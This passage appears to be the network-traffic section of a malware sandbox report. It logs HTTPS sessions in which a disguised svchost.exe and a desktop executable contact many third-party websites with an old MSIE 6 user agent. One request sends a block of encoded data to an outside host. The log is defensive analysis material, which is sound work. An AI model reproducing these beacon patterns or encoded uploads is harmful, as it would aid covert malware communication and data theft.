20 20 2e 2d Data Ascii: div> </div> </footer> ... footer .--> </div> ... GoToTop --> <div id="back-to-top"><a href="#page"><span></span><span a4class="sr-only">Powrt na gr strony</span></a></div> ... GoToTop .-

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.6	50827	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:14 UTC	248	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-03-10 06:56:14 UTC	280	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:14 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-03-10 06:56:14 UTC	280	IN	Data Raw: 32 64 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 2f 68 65 61 64 3e 3c Data Ascii: 2de<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
180	192.168.2.6	1066	49.212.235.175	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:31 UTC	2600	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: nts-web.net Content-Length: 3856
2023-03-10 06:56:31 UTC	2600	OUT	Data Raw: 69 57 73 2f 68 5a 79 6d 71 61 75 74 73 4c 4b 30 74 37 6d 38 78 4d 6a 4c 7a 74 47 36 79 32 44 65 5a 76 65 52 4c 6a 79 7a 44 42 72 2b 66 56 6d 71 31 74 6d 63 30 64 6f 62 53 4c 57 34 55 73 5a 4d 63 71 37 52 5a 2f 61 47 69 76 70 79 66 78 64 67 32 74 74 5a 52 49 56 32 42 38 4f 6c 7a 79 59 61 31 34 48 4f 79 61 49 59 41 75 67 4e 78 77 68 2f 4c 34 4f 4c 45 73 30 53 56 7a 37 34 62 34 43 2f 6f 48 4c 71 79 48 66 68 6c 32 53 78 57 7a 4e 4a 53 31 73 57 43 46 4b 39 44 32 37 69 45 44 52 48 73 75 67 66 35 4f 7a 7a 50 50 70 59 64 48 58 37 78 45 2b 4b 44 50 6c 72 32 78 75 64 77 6d 66 6d 52 37 34 6a 77 66 56 71 58 45 33 43 6e 6c 76 69 30 6f 50 42 4d 69 4e 49 66 2f 63 79 37 4d 51 54 52 5a 55 39 45 77 44 63 44 71 46 4c 46 44 42 6b 59 51 64 2f 70 65 52 33 46 64 77 68 2f 6c 62 Data Ascii: iWs/hZymqautsLK0t7m8xMjLztG6y2DeZveRLjyzDBr+fVmq1tmc0dobSLW4UsZMcq7RZ/aGivpyfxdg2ttZRIV2B8OlzyYa14HOyaIYAugNxwh/L4OLEs0SVz74b4C/oHLqyHfhl2SxWzNJS1sWCFK9D27iEDRHsugf5OzzPPpYdHX7xE+KDPlr2xudwmfmR74jwfVqXE3Cnlvi0oPBMiNIf/cy7MQTRZU9EwDcDqFLFDBkYQd/peR3Fdwh/lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
181	192.168.2.6	1440	5.189.171.125	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:31 UTC	2604	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.muhr-soehne.de
2023-03-10 06:56:31 UTC	2604	IN	HTTP/1.1 200 OK Date: Fri, 10 Mar 2023 06:56:31 GMT Server: Apache/2.4.38 (Debian) Last-Modified: Thu, 02 Mar 2023 15:05:19 GMT Accept-Ranges: bytes Content-Length: 51841 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8
2023-03-10 06:56:31 UTC	2604	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 64 65 22 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 21 2d 2d 20 0a 09 6d 61 64 65 20 62 79 20 50 53 56 6e 65 6f 0a 0a 09 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 6f 77 65 72 65 64 20 62 79 20 54 59 50 4f 33 20 2d 20 69 6e 73 70 69 72 69 6e 67 20 70 65 6f 70 6c 65 20 74 6f 20 73 68 61 72 65 21 0a 09 54 59 50 4f 33 20 69 73 20 61 20 66 72 65 65 20 6f 70 65 6e 20 73 6f 75 72 63 65 20 43 6f 6e 74 65 6e 74 20 4d 61 6e 61 67 65 6d 65 6e 74 20 46 72 61 6d 65 77 6f 72 6b 20 69 6e 69 74 69 61 6c 6c 79 20 63 72 65 61 74 65 64 20 62 79 20 4b 61 73 70 65 72 20 53 6b 61 61 72 68 6f 6a 20 Data Ascii: <!DOCTYPE html><html dir="ltr" lang="de"><head><meta charset="utf-8">... made by PSVneoThis website is powered by TYPO3 - inspiring people to share!TYPO3 is a free open source Content Management Framework initially created by Kasper Skaarhoj
2023-03-10 06:56:31 UTC	2620	IN	Data Raw: 20 20 20 20 20 20 20 56 65 72 73 63 68 6c 69 65 c3 9f 6d 61 73 63 68 69 6e 65 6e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 3c 2f 6c 69 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 20 6c 61 79 6f 75 74 2d 30 20 20 22 3e 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 2f 76 65 72 73 63 68 6c 69 65 Data Ascii: Verschliemaschinen </a> </li> <li class="nav-item layout-0 "> <a href="/verschlie
2023-03-10 06:56:31 UTC	2652	IN	Data Raw: 66 72 61 6d 65 2d 6c 61 79 6f 75 74 2d 30 20 20 20 6d 74 2d 30 20 6d 62 2d 30 0a 20 20 20 20 0a 0a 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 78 6c 2d 33 20 63 6f 6c 2d 6c 67 2d 36 20 63 6f 6c 2d 6d 64 2d 36 20 63 6f 6c 2d 73 6d 2d 31 32 20 63 6f 6c 2d 31 32 20 6d 79 2d 34 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 65 72 76 69 63 65 62 6f 78 20 68 2d 31 30 30 20 62 67 2d 6c 69 67 68 74 2d 67 72 65 79 20 64 2d 66 6c 65 78 20 66 6c 65 78 2d 63 6f 6c 75 6d 6e 20 68 2d 31 30 30 20 77 2d 31 30 30 20 70 2d 33 20 22 3e 0a Data Ascii: frame-layout-0 mt-0 mb-0 "> <div class="row"> <div class="col-xl-3 col-lg-6 col-md-6 col-sm-12 col-12 my-4"> <div class="servicebox h-100 bg-light-grey d-flex flex-column h-100 w-100 p-3 ">
2023-03-10 06:56:31 UTC	2668	IN	Data Raw: 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 63 65 6e 74 65 72 20 6d 79 2d 33 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6d 78 2d 30 20 6d 78 2d 6d 64 2d 35 20 6d 79 2d 32 20 6d 79 2d 6d 64 2d 30 22 20 69 74 65 6d 70 72 6f 70 3d 22 69 74 65 6d 4c 69 73 74 45 6c 65 6d 65 6e 74 22 20 69 74 65 6d 73 63 6f 70 65 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 4c 69 73 74 49 74 65 6d 22 20 61 72 69 61 2d 63 75 72 72 65 6e 74 3d 22 70 61 67 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 Data Ascii: justify-content-center my-3"> <li class="mx-0 mx-md-5 my-2 my-md-0" itemprop="itemListElement" itemscope itemtype="https://schema.org/ListItem" aria-current="page"> <a hr

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
182	192.168.2.6	1477	83.223.113.46	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:31 UTC	2652	OUT	GET /wp-signup.php?new=magicomm.co.uk HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: dataform.co.uk
2023-03-10 06:56:32 UTC	2800	IN	HTTP/1.1 200 OK Cache-Control: must-revalidate, no-cache, max-age=0 Keep-Alive: timeout=2, max=94 Content-Length: 48940 Content-Type: text/html; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Vary: Accept-Encoding Server: Apache Access-Control-Allow-Headers: mobileappversionnumber, x-requested-with Access-Control-Allow-Origin: * X-Powered-By: PHP/7.0.29 X-UA-Compatible: IE=EmulateIE10 X-Frame-Options: SAMEORIGIN X-Mod-Pagespeed: 1.9.32.14-0 Strict-Transport-Security: max-age=10886400 X-Powered-By: ASP.NET Date: Fri, 10 Mar 2023 06:56:31 GMT Connection: close
2023-03-10 06:56:32 UTC	2801	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 36 29 20 7c 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 3e 0a 09 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if !(IE 6) \| !(IE 7) \| !(IE 8) ]>...><html lang="en-US" class="no-js">...<![endif]--><head><meta charset="UTF-8"/><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0"> <
2023-03-10 06:56:32 UTC	2804	IN	Data Raw: 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3d 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 26 26 74 2e 73 75 70 70 6f 72 74 73 5b 6f 5b 72 5d 5d 29 3b 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3d 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 26 26 21 74 2e 73 75 70 70 6f 72 74 73 2e 66 6c 61 67 2c 74 2e 44 4f 4d 52 65 61 64 79 3d 21 31 2c 74 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 44 4f 4d 52 65 61 64 79 3d 21 30 7d 2c 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 7c 7c 28 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 72 65 61 64 79 43 61 Data Ascii: verythingExceptFlag=t.supports.everythingExceptFlag&&t.supports[o[r]]);t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&!t.supports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything\|\|(n=function(){t.readyCa
2023-03-10 06:56:32 UTC	2812	IN	Data Raw: 28 38 29 27 20 64 3d 27 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 27 25 33 45 20 20 20 20 20 25 33 43 61 6e 69 6d 61 74 65 20 61 74 74 72 69 62 75 74 65 4e 61 6d 65 3d 27 64 27 20 76 61 6c 75 65 73 3d 27 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 3b 20 4d 30 20 34 20 56 32 38 20 48 34 20 56 34 7a 3b 20 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 3b 20 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 27 20 64 75 72 3d 27 31 2e 32 73 27 20 72 65 70 65 61 74 43 6f 75 6e 74 3d 27 69 6e 64 65 66 69 6e 69 74 65 27 20 62 65 67 69 6e 3d 27 30 2e 32 27 20 6b 65 79 74 69 6d 65 73 3d 27 30 3b 2e 32 3b 2e 35 3b 31 27 20 6b 65 79 53 70 6c 69 6e 65 73 3d 27 30 2e 32 20 30 2e 32 20 30 2e 34 20 30 2e 38 3b 30 2e 32 20 30 2e 36 20 30 2e 34 20 30 Data Ascii: (8)' d='M0 12 V20 H4 V12z'%3E %3Canimate attributeName='d' values='M0 12 V20 H4 V12z; M0 4 V28 H4 V4z; M0 12 V20 H4 V12z; M0 12 V20 H4 V12z' dur='1.2s' repeatCount='indefinite' begin='0.2' keytimes='0;.2;.5;1' keySplines='0.2 0.2 0.4 0.8;0.2 0.6 0.4 0
2023-03-10 06:56:32 UTC	2820	IN	Data Raw: 70 6c 75 67 69 6e 73 2f 6b 62 2d 73 75 70 70 6f 72 74 2f 61 73 73 65 74 73 2f 6a 73 2f 6b 62 73 2d 61 6a 61 78 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 31 2e 35 2e 34 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 72 65 76 73 6c 69 64 65 72 2f 70 75 62 6c 69 63 2f 61 73 73 65 74 73 2f 6a 73 2f 6a 71 75 65 72 79 2e 74 68 65 6d 65 70 75 6e 63 68 2e 74 6f 6f 6c 73 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 35 2e 34 2e 38 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 Data Ascii: plugins/kb-support/assets/js/kbs-ajax.min.js?ver=1.5.4'></script><script type='text/javascript' src='https://dataform.co.uk/wp-content/plugins/revslider/public/assets/js/jquery.themepunch.tools.min.js?ver=5.4.8'></script><script type='text/javascript' s
2023-03-10 06:56:32 UTC	2828	IN	Data Raw: 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 30 31 2f 44 46 2d 69 63 6f 6e 2d 6c 6f 67 6f 2e 73 76 67 22 20 74 79 70 65 3d 22 22 20 73 69 7a 65 73 3d 22 31 36 78 31 36 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 30 31 2f 44 46 2d 69 63 6f 6e 2d 6c 6f 67 6f 2e 73 76 67 22 20 74 79 70 65 3d 22 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 Data Ascii: href="https://dataform.co.uk/wp-content/uploads/2023/01/DF-icon-logo.svg" type="" sizes="16x16"/><link rel="icon" href="https://dataform.co.uk/wp-content/uploads/2023/01/DF-icon-logo.svg" type="" sizes="32x32"/><link rel="apple-touch-icon" href="https://d
2023-03-10 06:56:32 UTC	2836	IN	Data Raw: 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 35 32 35 32 35 22 3e 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 64 61 74 61 66 6f 72 6d 2d 6f 76 65 72 76 69 65 77 2f 27 20 64 61 74 61 2d 6c 65 76 65 6c 3d 27 31 27 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 74 65 78 74 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 74 65 78 74 22 3e 44 61 74 61 66 6f 72 6d 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 Data Ascii: e-post_type menu-item-object-page menu-item-52525"><a href='https://dataform.co.uk/dataform-overview/' data-level='1'><span class="menu-item-text"><span class="menu-text">Dataform</span></span></a></li> <li class="menu-item menu-item-type-post_type menu-i
2023-03-10 06:56:32 UTC	2844	IN	Data Raw: 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 64 74 2d 74 68 65 37 2f 6a 73 2f 6d 61 69 6e 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 36 2e 30 2e 31 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3e 2f 2f 3c 21 5b 43 44 41 54 41 5b 0a 76 61 72 20 77 70 63 66 37 3d 7b 22 61 70 69 53 65 74 74 69 6e 67 73 22 3a 7b 22 72 6f 6f 74 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 5c 2f 77 70 2d 6a 73 6f 6e 5c 2f 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 37 5c 2f 76 31 22 2c 22 6e 61 6d 65 73 70 61 63 65 22 3a 22 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 37 Data Ascii: pt' src='https://dataform.co.uk/wp-content/themes/dt-the7/js/main.min.js?ver=6.6.0.1'></script><script type='text/javascript'>//<![CDATA[var wpcf7={"apiSettings":{"root":"https:\/\/dataform.co.uk\/wp-json\/contact-form-7\/v1","namespace":"contact-form-7

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
183	192.168.2.6	2059	188.114.97.3	443	C:\Users\user\Desktop\iJzpyjAehB.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:57 UTC	2848	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: hyab.se
2023-03-10 06:56:57 UTC	2849	IN	HTTP/1.1 302 Found Date: Fri, 10 Mar 2023 06:56:57 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Location: https://hyab.com Cache-Control: max-age=600 Expires: Fri, 10 Mar 2023 07:06:57 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=oKUCU8seDdR0HRqSIRphIdYjtRC9jNEzFfh4LNT7puQWRUpf7P%2FdPEelBNYqA9r%2Fv74N%2FT1pCadvT4ALZ4QL9aJMhTPrpOq2fW7IynS3MeK%2FDm3OZJZ30fhN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a9267b21694c-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:57 UTC	2849	IN	Data Raw: 63 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 79 61 62 2e 63 6f 6d 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: c8<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://hyab.com">here</a>.</p></body></html>
2023-03-10 06:56:57 UTC	2849	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
184	192.168.2.6	2068	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:57 UTC	2849	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-03-10 06:56:57 UTC	2850	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:57 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-03-10 06:56:57 UTC	2850	IN	Data Raw: 32 64 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 2f 68 65 61 64 3e 3c Data Ascii: 2de<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
185	192.168.2.6	2083	172.67.156.49	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:57 UTC	2851	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: orlyhotel.com Cookie: django_language=en
2023-03-10 06:56:58 UTC	2851	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 10 Mar 2023 06:56:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Cache-Control: max-age=0, no-store, no-cache, must-revalidate Expires: Fri, 10 Mar 2023 06:47:02 GMT Content-Language: en Last-Modified: Fri, 10 Mar 2023 06:47:02 GMT X-Frame-Options: SAMEORIGIN Vary: Accept-Language CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=iVc2lu%2FUWrQ2HIFehNaQ1auxsAvPhTBSDdXR4E6nX3%2BQuiB5U5bYRAuMehwP%2BtyN83CmFhLvMn5vyZBINMMItkhrEcMSi4SGVEo938Gm8N3BJHz94%2FUmfhPS9DeFZRe0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a929c94e9016-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:58 UTC	2852	IN	Data Raw: 31 62 0d 0a 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 20 28 35 30 30 29 3c 2f 68 31 3e 0d 0a Data Ascii: 1b<h1>Server Error (500)</h1>
2023-03-10 06:56:58 UTC	2852	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
186	192.168.2.6	2084	104.21.66.220	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
